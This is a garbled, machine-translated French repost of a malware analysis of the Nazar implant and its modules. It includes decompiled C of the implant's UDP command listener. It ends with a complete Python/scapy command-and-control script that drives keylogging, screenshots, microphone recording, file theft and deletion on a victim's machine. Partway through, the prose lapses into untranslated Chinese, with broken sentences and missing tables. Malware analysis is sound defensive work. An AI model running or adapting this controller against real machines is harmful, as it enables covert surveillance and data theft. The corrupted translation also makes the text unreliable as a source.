Maison >Opération et maintenance >Sécurité >Comment analyser les composants de Nazar en profondeur
6:22 AM 11/7/2012 conficker toujours sur la cible
6:18 AM 11/7/2012 vérification des journaux - nous sommes propres
20:16 PM 7/2/2012 - BOOM !, j'ai reçu le rappel
Ce sont les enregistrements laissés par Equation Group (NSA) lors de l'attaque de systèmes cibles, qui ont ensuite été divulgués par Shadow Brokers. Récemment, des chercheurs en sécurité ont révélé un groupe de menace précédemment mal identifié et inconnu, Nazar. Ce qui suit fournira une analyse approfondie des composants de Nazar.
Les données divulguées par Shadow Brokers ont mis en lumière de nombreuses vulnérabilités, telles que EternalBlue, mais elles contenaient également de nombreux composants plus précieux qui montraient ce que le groupe Equation avait fait avant de lancer l'attaque.
Par exemple, dans le fichier divulgué se trouve un fichier nommé "drv_list.txt", qui contient une liste de noms de pilotes et les commentaires correspondants, qui enverra l'information à l'attaquant si le pilote est trouvé sur la cible. système qui. La liste contient également les noms des pilotes malveillants. Si ces pilotes malveillants sont trouvés, cela indique que le système cible a été compromis par d'autres, puis avertit l'attaquant de « se rétracter ». L'élément clé responsable de ce type d'inspection est appelé « Conflit territorial » ou « TeDi ».
« TeDi » contient 45 signatures qui recherchent dans les systèmes cibles les clés de registre et les noms de fichiers associés à d'autres groupes de menaces. Contrairement aux analyses de sécurité, l'objectif ultime de l'attaquant est de s'assurer que ses propres opérations ne sont pas perturbées et que d'autres attaquants ne détectent pas leurs outils.
Dans certains cas, empêcher ses propres opérations n'interfère pas avec le fonctionnement des groupes menaçants « amis » et n'attaque pas la même cible en même temps.
Processus d'exécution
Distribute.exe
Tout d'abord, Distribute.exe lira les informations et Data.bin. Data.bin est un blob binaire contenant plusieurs fichiers PE. Le fichier d'informations est très petit et contient une structure simple qui représente la longueur du fichier PE dans Data.bin. Distribute.exe lira Data.bin un par un par ordre de longueur de fichier. Le tableau suivant montre la relation entre le fichier Data.bin et la longueur de l'écriture des informations.
Utilisez CreateServiceA pour ajouter svchost.exe en tant que service nommé "EYService", démarrez le service et quittez. Ce service constitue la partie principale de l'attaque, coordonnant le module d'appel de Nazar.
DWORD __stdcall main_thread(LPVOID lpThreadParameter) { HANDLE hMgr; // edi HANDLE hCfg; // esi HANDLE hFtr; // edi hMgr = MgrCreate(); MgrInitialize(hMgr); hCfg = MgrGetFirstAdapterCfg(hMgr); do { if ( !AdpCfgGetAccessibleState(hCfg) ) break; hCfg = MgrGetNextAdapterCfg(hMgr, hCfg); } while ( hCfg ); ADP_struct = AdpCreate(); AdpSetConfig(ADP_struct, hCfg); if ( !AdpOpenAdapter(ADP_struct) ) { AdpGetConnectStatus(ADP_struct); MaxPacketSize = AdpCfgGetMaxPacketSize(hCfg); adapter_ip = AdpCfgGetIpA_wrapper(hCfg, 0); AdpCfgGetMACAddress(hCfg, &mac_address, 6); hFtr = BpfCreate(); BpfAddCmd(hFtr, BPF_LD_B_ABS, 23u); // Get Protocol field value BpfAddJmp(hFtr, BPF_JMP_JEQ, IPPROTO_UDP, 0, 1);// Protocol == UDP BpfAddCmd(hFtr, BPF_RET, 0xFFFFFFFF); BpfAddCmd(hFtr, BPF_RET, 0); AdpSetUserFilter(ADP_struct, hFtr); AdpSetUserFilterActive(ADP_struct, 1); AdpSetOnPacketRecv(ADP_struct, on_packet_recv_handler, 0); AdpSetMacFilter(ADP_struct, 2); while ( 1 ) { if ( stop_and_ping == 1 ) { adapter_ip = AdpCfgGetIpA_wrapper(hCfg, 0); connection_method(2); stop_and_ping = 0; } Sleep(1000u); } } return 0; }
int __cdecl commandMethodsWrapper(udp_t *udp_packet, int zero, char *src_ip, int ip_id) { int length; // edi length = HIBYTE(udp_packet->length) - 8; ntohs(udp_packet->src_port); if ( ntohs(udp_packet->dst_port) != 1234 ) return 0; commandDispatcher(&udp_packet[1], src_ip, ip_id, length); return 1; }
Réponse de données
1. Envoyer un ACK : port cible 4000, charge utile 0000 ;
3、发送文件:通过UDP发送数据,然后是带有
下表为命令支持列表:
Godown.dll是SIG37重点关注的DLL,它是一个小型DLL,只有一个关闭计算机的功能。
Filesystem.dll是由攻击者自己编写的模块。该模块的目的是枚举受感染系统上的驱动器,文件夹和文件,并将结果写入Drives.txt和Files.txt。
目前发现两个版本均包含PDB路径,其中提到了波斯语为Khzer(或خضر)的文件夹:
C:\\khzer\\DLLs\\DLL's Source\\Filesystem\\Debug\\Filesystem.pdb
D:\\Khzer\\Client\\DLL's Source\\Filesystem\\Debug\\Filesystem.pdb
两条路径之间存在一些差异,表明该模块的两个版本不是在同一环境中编译的。
hodll.dll模块负责键盘记录,通过设置钩子来完成。该代码来自开源代码库,某种程度上像从互联网上复制了多个项目的代码,最终拼装在一起。
该DLL基于名为“ BMGLib”的开源项目,用于获取受害者计算机的屏幕截图。
from scapy.all import * import struct import socket import hexdump import argparse DST_PORT = 1234 # 4000 is the usual port without sending files, but we use it for everything, because why not? SERVER_PORT = 4000 # We want to make sure the ID has the little endian of it ID = struct.unpack('>H',struct.pack('<H',4000))[0] def get_response(sock, should_loop): started = False total_payload = b'' while(should_loop or not started): try: payload, client_address = sock.recvfrom(4096) except ConnectionResetError: payload, client_address = sock.recvfrom(4096) total_payload += payload # Good enough stop condition if (len(payload) >= 4 and payload[:3] == b'---' and payload[4] >= ord('0') and payload[4] <= ord('9')): should_loop = False started = True hexdump.hexdump(total_payload) MENU = """Welcome to NAZAR. Please choose: 999 - Get a ping from the victim. 555 - Get information on the victim's machine. 311 - Start keylogging (312 to disable). 139 - Shutdown victim's machine. 189 - Screenshot (313 to disable). 119 - Record audio from Microphone (315 to disable). 199 - List drives. 200 - List recursivley from directory*. 201 - Send a file*. 209 - Remove file*. 599 - List devices. * (append a path, use double-backslashes) quit to Quit, help for this menu. """ def get_message(): while True: curr_message = input('> ').strip() if 'quit' in curr_message: return None if 'help' in curr_message: print(MENU) else: return curr_message def get_sock(): sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) server_address = '0.0.0.0' server = (server_address, SERVER_PORT) sock.bind(server) return sock def main(ip_addr): sock = get_sock() print(MENU) multi_packets = ["200","201", "119", "189", "311", "199", "599"] single_packets = ["999", "555"] all_commands = single_packets + multi_packets while True: curr_message = get_message() if not curr_message: break # Send message using scapy # Make sure the IP identification field is little endian of the port. sr1( IP(dst=ip_addr, id=ID)/ UDP(sport=SERVER_PORT,dport=1234)/ Raw(load=curr_message), verbose=0 ) command = curr_message[:3] if command not in all_commands: continue should_loop = command in multi_packets get_response(sock, should_loop) if __name__ == '__main__': parser = argparse.ArgumentParser(description="victim's IP") parser.add_argument('ip') args = parser.parse_args() main(args.ip)
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!